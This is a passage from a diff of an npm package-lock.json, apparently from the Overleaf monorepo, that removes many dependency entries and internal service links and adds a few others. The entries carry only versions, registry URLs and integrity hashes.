"https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz", +- "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA==" +- }, +- "node_modules/@octokit/request": { +- "version": "5.6.3", +- "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz", +- "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==", +- "dependencies": { +- "@octokit/endpoint": "^6.0.1", +- "@octokit/request-error": "^2.1.0", +- "@octokit/types": "^6.16.1", +- "is-plain-object": "^5.0.0", +- "node-fetch": "^2.6.7", +- "universal-user-agent": "^6.0.0" +- } +- }, +- "node_modules/@octokit/request-error": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz", +- "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==", +- "dependencies": { +- "@octokit/types": "^6.0.3", +- "deprecation": "^2.0.0", +- "once": "^1.4.0" +- } +- }, +- "node_modules/@octokit/request/node_modules/is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/@octokit/types": { +- "version": "6.34.0", +- "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz", +- "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==", +- "dependencies": { +- "@octokit/openapi-types": "^11.2.0" +- } +- }, + "node_modules/@opencensus/core": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.1.0.tgz", +@@ -4399,10 +3400,6 @@ + "resolved": "libraries/access-token-encryptor", + "link": true + }, +- "node_modules/@overleaf/analytics": { +- "resolved": "services/analytics", +- "link": true +- }, + "node_modules/@overleaf/chat": { + "resolved": "services/chat", + "link": true +@@ -4411,10 +3408,6 @@ + "resolved": "services/clsi", + "link": true + }, +- "node_modules/@overleaf/clsi-perf": { +- "resolved": "services/clsi-perf", +- "link": true +- }, + "node_modules/@overleaf/contacts": { + "resolved": "services/contacts", + "link": true +@@ -4431,18 +3424,6 @@ + "resolved": "services/filestore", + "link": true + }, +- "node_modules/@overleaf/github-sync": { +- "resolved": "services/github-sync", +- "link": true +- }, +- "node_modules/@overleaf/idp": { +- "resolved": "services/idp", +- "link": true +- }, +- "node_modules/@overleaf/k8s-debugger": { +- "resolved": "services/k8s-debugger", +- "link": true +- }, + "node_modules/@overleaf/logger": { + "resolved": "libraries/logger", + "link": true +@@ -4463,14 +3444,6 @@ + "resolved": "libraries/object-persistor", + "link": true + }, +- "node_modules/@overleaf/project-archiver": { +- "resolved": "services/project-archiver", +- "link": true +- }, +- "node_modules/@overleaf/project-history": { +- "resolved": "services/project-history", +- "link": true +- }, + "node_modules/@overleaf/ranges-tracker": { + "resolved": "libraries/ranges-tracker", + "link": true +@@ -4483,10 +3456,6 @@ + "resolved": "libraries/redis-wrapper", + "link": true + }, +- "node_modules/@overleaf/references": { +- "resolved": "services/references", +- "link": true +- }, + "node_modules/@overleaf/settings": { + "resolved": "libraries/settings", + "link": true +@@ -4495,22 +3464,6 @@ + "resolved": "services/spelling", + "link": true + }, +- "node_modules/@overleaf/templates": { +- "resolved": "services/templates", +- "link": true +- }, +- "node_modules/@overleaf/third-party-datastore": { +- "resolved": "services/third-party-datastore", +- "link": true +- }, +- "node_modules/@overleaf/thirdparty-references": { +- "resolved": "services/third-party-references", +- "link": true +- }, +- "node_modules/@overleaf/tpdsworker": { +- "resolved": "services/tpdsworker", +- "link": true +- }, + "node_modules/@overleaf/track-changes": { + "resolved": "services/track-changes", + "link": true +@@ -4519,14 +3472,6 @@ + "resolved": "services/web", + "link": true + }, +- "node_modules/@panva/asn1.js": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/@panva/asn1.js/-/asn1.js-1.0.0.tgz", +- "integrity": "sha512-UdkG3mLEqXgnlKsWanWcgb6dOjUzJ+XC5f+aWw30qrtjxeNUSfKX1cd5FBzOaXQumoe9nIqeZUvrRJS03HCCtw==", +- "engines": { +- "node": ">=10.13.0" +- } +- }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz", +@@ -5082,14 +4027,6 @@ + "node": ">=6" + } + }, +- "node_modules/@sindresorhus/is": { +- "version": "0.14.0", +- "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz", +- "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==", +- "engines": { +- "node": ">=6" +- } +- }, + "node_modules/@sinonjs/commons": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz", +@@ -5144,17 +4081,6 @@ + "node": ">= 0.6.0" + } + }, +- "node_modules/@szmarczak/http-timer": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz", +- "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==", +- "dependencies": { +- "defer-to-connect": "^1.0.1" +- }, +- "engines": { +- "node": ">=6" +- } +- }, + "node_modules/@testing-library/cypress": { + "version": "8.0.3", + "resolved": "https://registry.npmjs.org/@testing-library/cypress/-/cypress-8.0.3.tgz", +@@ -5320,14 +4246,6 @@ + "@testing-library/dom": ">=7.21.4" + } + }, +- "node_modules/@tootallnate/once": { +- "version": "1.1.2", +- "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", +- "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", +- "engines": { +- "node": ">= 6" +- } +- }, + "node_modules/@transloadit/prettier-bytes": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/@transloadit/prettier-bytes/-/prettier-bytes-0.0.7.tgz", +@@ -5353,11 +4271,14 @@ + "integrity": "sha512-HnYpAE1Y6kRyKM/XkEuiRQhTHvkzMBurTHnpFLYLBGPIylZNPs9jJcuOOYWxPLJCSEtmZT0Y8rHDokKN7rRTig==", + "dev": true + }, +- "node_modules/@types/bluebird": { +- "version": "3.5.36", +- "resolved": "https://registry.npmjs.org/@types/bluebird/-/bluebird-3.5.36.tgz", +- "integrity": "sha512-HBNx4lhkxN7bx6P0++W8E289foSu8kO8GCk2unhuVggO+cE7rh9DhZUyPhUxNRG9m+5B5BTKxZQ5ZP92x/mx9Q==", +- "dev": true ++ "node_modules/@types/asn1": { ++ "version": "0.2.0", ++ "resolved": "https://registry.npmjs.org/@types/asn1/-/asn1-0.2.0.tgz", ++ "integrity": "sha512-5TMxIpYbIA9c1J0hYQjQDX3wr+rTgQEAXaW2BI8ECM8FO53wSW4HFZplTalrKSHuZUc76NtXcePRhwuOHqGD5g==", ++ "dev": true, ++ "dependencies": { ++ "@types/node": "*" ++ } + }, + "node_modules/@types/body-parser": { + "version": "1.19.2", +@@ -5385,11 +4306,6 @@ + "@types/node": "*" + } + }, +- "node_modules/@types/caseless": { +- "version": "0.12.2", +- "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.2.tgz", +- "integrity": "sha512-6ckxMjBBD8URvjB6J3NcnuAn5Pkl7t3TizAg+xdlzzQGSPSmBcXf8KoIH0ua/i+tio+ZRUHEXp0HEmvaR4kt0w==" +- }, + "node_modules/@types/chai": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.3.0.tgz", +@@ -5431,12 +4347,6 @@ + "integrity": "sha512-XW/Aa8APYr6jSVVA1y/DEIZX0/GMKLEVekNG727R8cs56ahETkRAy/3DR7+fJyh7oUgGwNQaRfXCun0+KbWY7Q==", + "dev": true + }, +- "node_modules/@types/cookiejar": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/@types/cookiejar/-/cookiejar-2.1.2.tgz", +- "integrity": "sha512-t73xJJrvdTjXrn4jLS9VSGRbz0nUY3cl2DMGDU48lKl+HR9dbbjW2A9r3g40VA++mQpy6uuHg33gy7du2BKpog==", +- "dev": true +- }, + "node_modules/@types/cors": { + "version": "2.8.12", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.12.tgz", +@@ -5493,34 +4403,6 @@ + "@types/range-parser": "*" + } + }, +- "node_modules/@types/got": { +- "version": "9.6.12", +- "resolved": "https://registry.npmjs.org/@types/got/-/got-9.6.12.tgz", +- "integrity": "sha512-X4pj/HGHbXVLqTpKjA2ahI4rV/nNBc9mGO2I/0CgAra+F2dKgMXnENv2SRpemScBzBAI4vMelIVYViQxlSE6xA==", +- "dependencies": { +- "@types/node": "*", +- "@types/tough-cookie": "*", +- "form-data": "^2.5.0" +- } +- }, +- "node_modules/@types/got/node_modules/form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "dependencies": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- }, +- "engines": { +- "node": ">= 0.12" +- } +- }, +- "node_modules/@types/hapi__joi": { +- "version": "17.1.8", +- "resolved": "https://registry.npmjs.org/@types/hapi__joi/-/hapi__joi-17.1.8.tgz", +- "integrity": "sha512-omVytnOAiAfzGUOQArujJr3heWxPrDHW7MF1ieqix1ngoGdhtJmSSDFVM+ZAOa7UmhlGJtltdgUAT03mfDu6kg==" +- }, + "node_modules/@types/hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/@types/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", +@@ -5551,11 +4433,6 @@ + "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "dev": true + }, +- "node_modules/@types/js-yaml": { +- "version": "3.12.7", +- "resolved": "https://registry.npmjs.org/@types/js-yaml/-/js-yaml-3.12.7.tgz", +- "integrity": "sha512-S6+8JAYTE1qdsc9HMVsfY7+SgSuUU/Tp6TYTmITW0PZxiyIMvol3Gy//y69Wkhs0ti4py5qgR3uZH6uz/DNzJQ==" +- }, + "node_modules/@types/json-schema": { + "version": "7.0.9", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", +@@ -5640,16 +4517,6 @@ + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.18.9.tgz", + "integrity": "sha512-j11XSuRuAlft6vLDEX4RvhqC0KxNxx6QIyMXNb0vHHSNPXTPeiy3algESWmOOIzEtiEL0qiowPU3ewW9hHVa7Q==" + }, +- "node_modules/@types/node-fetch": { +- "version": "2.5.12", +- "resolved": "https://registry.npmjs.org/@types/node-fetch/-/node-fetch-2.5.12.tgz", +- "integrity": "sha512-MKgC4dlq4kKNa/mYrwpKfzQMB5X3ee5U6fSprkKpToBqBmX4nFZL9cW5jl6sWn+xpRJ7ypWh2yyqqr8UUCstSw==", +- "peer": true, +- "dependencies": { +- "@types/node": "*", +- "form-data": "^3.0.0" +- } +- }, + "node_modules/@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", +@@ -5711,30 +4578,6 @@ + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.10.tgz", + "integrity": "sha512-2u44ZG2OcNUO9HDp/Jl8C07x6pU/eTR3ncV91SiK3dhG9TWvRVsCoJw14Ckx5DgWkzGA3waZWO3d7pgqpUI/XA==" + }, +- "node_modules/@types/request": { +- "version": "2.48.8", +- "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.8.tgz", +- "integrity": "sha512-whjk1EDJPcAR2kYHRbFl/lKeeKYTi05A15K9bnLInCVroNDCtXce57xKdI0/rQaA3K+6q0eFyUBPmqfSndUZdQ==", +- "dependencies": { +- "@types/caseless": "*", +- "@types/node": "*", +- "@types/tough-cookie": "*", +- "form-data": "^2.5.0" +- } +- }, +- "node_modules/@types/request/node_modules/form-data": { +- "version": "2.5.1", +- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz", +- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==", +- "dependencies": { +- "asynckit": "^0.4.0", +- "combined-stream": "^1.0.6", +- "mime-types": "^2.1.12" +- }, +- "engines": { +- "node": ">= 0.12" +- } +- }, + "node_modules/@types/retry": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz", +@@ -5809,40 +4652,12 @@ + "@types/node": "*" + } + }, +- "node_modules/@types/superagent": { +- "version": "3.8.7", +- "resolved": "https://registry.npmjs.org/@types/superagent/-/superagent-3.8.7.tgz", +- "integrity": "sha512-9KhCkyXv268A2nZ1Wvu7rQWM+BmdYUVkycFeNnYrUL5Zwu7o8wPQ3wBfW59dDP+wuoxw0ww8YKgTNv8j/cgscA==", +- "dev": true, +- "dependencies": { +- "@types/cookiejar": "*", +- "@types/node": "*" +- } +- }, +- "node_modules/@types/tough-cookie": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.1.tgz", +- "integrity": "sha512-Y0K95ThC3esLEYD6ZuqNek29lNX2EM1qxV8y2FTLUB0ff5wWrk7az+mLrnNFUnaXcgKye22+sFBRXOgpPILZNg==" +- }, +- "node_modules/@types/underscore": { +- "version": "1.11.4", +- "resolved": "https://registry.npmjs.org/@types/underscore/-/underscore-1.11.4.tgz", +- "integrity": "sha512-uO4CD2ELOjw8tasUrAhvnn2W4A0ZECOvMjCivJr4gA9pGgjv+qxKWY9GLTMVEK8ej85BxQOocUyE7hImmSQYcg==" +- }, + "node_modules/@types/uuid": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/@types/uuid/-/uuid-8.3.4.tgz", + "integrity": "sha512-c/I8ZRb51j+pYGAu5CrFMRxqZ2ke4y2grEBO5AUjgSkSk+qT2Ea+OdWElz/OiMf5MNpn2b17kuVBwZLQJXzihw==", + "dev": true + }, +- "node_modules/@types/ws": { +- "version": "6.0.4", +- "resolved": "https://registry.npmjs.org/@types/ws/-/ws-6.0.4.tgz", +- "integrity": "sha512-PpPrX7SZW9re6+Ha8ojZG4Se8AZXgf0GK6zmfqEuCsY49LFDNXO3SByp44X3dFEqtB73lkCDAdUazhAjVPiNwg==", +- "dependencies": { +- "@types/node": "*" +- } +- }, + "node_modules/@types/yauzl": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz", +@@ -6733,11 +5548,6 @@ + "node": ">= 6.0.0" + } + }, +- "node_modules/agentkeepalive": { +- "version": "0.1.5", +- "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-0.1.5.tgz", +- "integrity": "sha1-2N6s1a+xAjKUIi/CR5qd0DX9kLc=" +- }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", +@@ -6812,25 +5622,6 @@ + "ajv": "^6.9.1" + } + }, +- "node_modules/algolia-search": { +- "version": "1.5.14", +- "resolved": "https://registry.npmjs.org/algolia-search/-/algolia-search-1.5.14.tgz", +- "integrity": "sha1-Q2Vjg+/LnUTFHZB1dHZEgjg+SF8=", +- "deprecated": "Please use the isomorphic `algoliasearch` package. See our migration guide at https://github.com/algolia/algoliasearch-client-js/wiki/Node.js-v1.x.x-migration-guide", +- "engines": [ +- "node >= 0.6.0" +- ], +- "dependencies": { +- "agentkeepalive": "0.1.5", +- "buffers": "0.1.1", +- "underscore": "1.4.4" +- } +- }, +- "node_modules/algolia-search/node_modules/underscore": { +- "version": "1.4.4", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.4.4.tgz", +- "integrity": "sha1-YaajIBBiKvoHljvzJSA88SI51gQ=" +- }, + "node_modules/algoliasearch": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/algoliasearch/-/algoliasearch-3.35.1.tgz", +@@ -6885,16 +5676,6 @@ + "semver": "bin/semver" + } + }, +- "node_modules/amdefine": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz", +- "integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU=", +- "dev": true, +- "optional": true, +- "engines": { +- "node": ">=0.4.2" +- } +- }, + "node_modules/angular": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/angular/-/angular-1.8.2.tgz", +@@ -7032,11 +5813,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/any-promise": { +- "version": "1.3.0", +- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", +- "integrity": "sha1-q8av7tzqUugJzcA3au0845Y10X8=" +- }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", +@@ -7189,16 +5965,8 @@ + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", +- "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" +- }, +- "node_modules/args-js": { +- "version": "0.10.12", +- "resolved": "https://registry.npmjs.org/args-js/-/args-js-0.10.12.tgz", +- "integrity": "sha1-oyeuqA5BByo9hfnCdNtlEeuV5Jw=", +- "engines": { +- "node": ">0.8.0", +- "npm": ">1.1.0" +- } ++ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", ++ "dev": true + }, + "node_modules/aria-query": { + "version": "4.2.2", +@@ -7213,30 +5981,6 @@ + "node": ">=6.0" + } + }, +- "node_modules/arr-diff": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", +- "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/arr-flatten": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", +- "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/arr-union": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", +- "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/array-back": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-6.2.2.tgz", +@@ -7246,14 +5990,6 @@ + "node": ">=12.17" + } + }, +- "node_modules/array-each": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz", +- "integrity": "sha1-p5SvDAWrF1KEbudTofIRoFugxE8=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", +@@ -7284,14 +6020,6 @@ + "url": "https://github.com/sponsors/ljharb" + } + }, +- "node_modules/array-slice": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz", +- "integrity": "sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/array-union": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", +@@ -7311,14 +6039,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/array-unique": { +- "version": "0.3.2", +- "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", +- "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/array.prototype.flat": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz", +@@ -7393,14 +6113,6 @@ + "node": "*" + } + }, +- "node_modules/assign-symbols": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", +- "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/ast-types-flow": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.7.tgz", +@@ -7421,11 +6133,6 @@ + "resolved": "https://registry.npmjs.org/async/-/async-3.2.2.tgz", + "integrity": "sha512-H0E+qZaDEfx/FY4t7iLRv1W2fFI6+pyCeTw1uN20AQPiwqwM6ojPxHxdLv4z8hi2DtnW9BOckSspLucW7pIE5g==" + }, +- "node_modules/async-limiter": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", +- "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" +- }, + "node_modules/async-listener": { + "version": "0.6.10", + "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz", +@@ -7463,26 +6170,11 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", ++ "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, +- "node_modules/atob": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz", +- "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==", +- "bin": { +- "atob": "bin/atob.js" +- }, +- "engines": { +- "node": ">= 4.5.0" +- } +- }, +- "node_modules/auth0-id-generator": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/auth0-id-generator/-/auth0-id-generator-0.2.0.tgz", +- "integrity": "sha512-sJVZrGls/XB7TEsAovv6GsGwsjDBhBy014w+9x/DNZH8OTV8F/uioMmT68ADWtfbvfkJaNCYNjRs1dOVFyNqbQ==" +- }, + "node_modules/autolinker": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/autolinker/-/autolinker-0.28.1.tgz", +@@ -7581,14 +6273,6 @@ + "node": ">=4" + } + }, +- "node_modules/axios": { +- "version": "0.21.4", +- "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", +- "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", +- "dependencies": { +- "follow-redirects": "^1.14.0" +- } +- }, + "node_modules/axobject-query": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz", +@@ -7769,34 +6453,6 @@ + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, +- "node_modules/base": { +- "version": "0.11.2", +- "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", +- "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", +- "dependencies": { +- "cache-base": "^1.0.1", +- "class-utils": "^0.3.5", +- "component-emitter": "^1.2.1", +- "define-property": "^1.0.0", +- "isobject": "^3.0.1", +- "mixin-deep": "^1.2.0", +- "pascalcase": "^0.1.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/base/node_modules/define-property": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", +- "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", +- "dependencies": { +- "is-descriptor": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", +@@ -7816,41 +6472,6 @@ + } + ] + }, +- "node_modules/base64-stream": { +- "version": "0.1.5", +- "resolved": "https://registry.npmjs.org/base64-stream/-/base64-stream-0.1.5.tgz", +- "integrity": "sha512-j3OFbLDb8Wy0SM7HrP1zj8ADVHqaKoL8VNrDnd7wedkoz5onf9le2DgOsCdmg8QQPnUPXd7LLCjGnYAk/YDBFg==", +- "dependencies": { +- "readable-stream": "^2.0.2" +- } +- }, +- "node_modules/base64-stream/node_modules/isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "node_modules/base64-stream/node_modules/readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "dependencies": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "node_modules/base64-stream/node_modules/string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "dependencies": { +- "safe-buffer": "~5.1.0" +- } +- }, + "node_modules/base64id": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-0.1.0.tgz", +@@ -7918,18 +6539,6 @@ + "node": ">=0.6" + } + }, +- "node_modules/big.js": { +- "version": "6.1.1", +- "resolved": "https://registry.npmjs.org/big.js/-/big.js-6.1.1.tgz", +- "integrity": "sha512-1vObw81a8ylZO5ePrtMay0n018TcftpTA5HFKDaSuiUDBo8biRBtjIobw60OpwuvrGk+FsxKamqN4cnmj/eXdg==", +- "engines": { +- "node": "*" +- }, +- "funding": { +- "type": "opencollective", +- "url": "https://opencollective.com/bigjs" +- } +- }, + "node_modules/bignumber.js": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/bignumber.js/-/bignumber.js-9.0.2.tgz", +@@ -8217,17 +6826,6 @@ + "node": ">=0.6.19" + } + }, +- "node_modules/btoa": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz", +- "integrity": "sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g==", +- "bin": { +- "btoa": "bin/btoa.js" +- }, +- "engines": { +- "node": ">= 0.4.0" +- } +- }, + "node_modules/buffer": { + "version": "4.9.2", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", +@@ -8279,14 +6877,6 @@ + "node": ">=0.10" + } + }, +- "node_modules/buffer-writer": { +- "version": "2.0.0", +- "resolved": 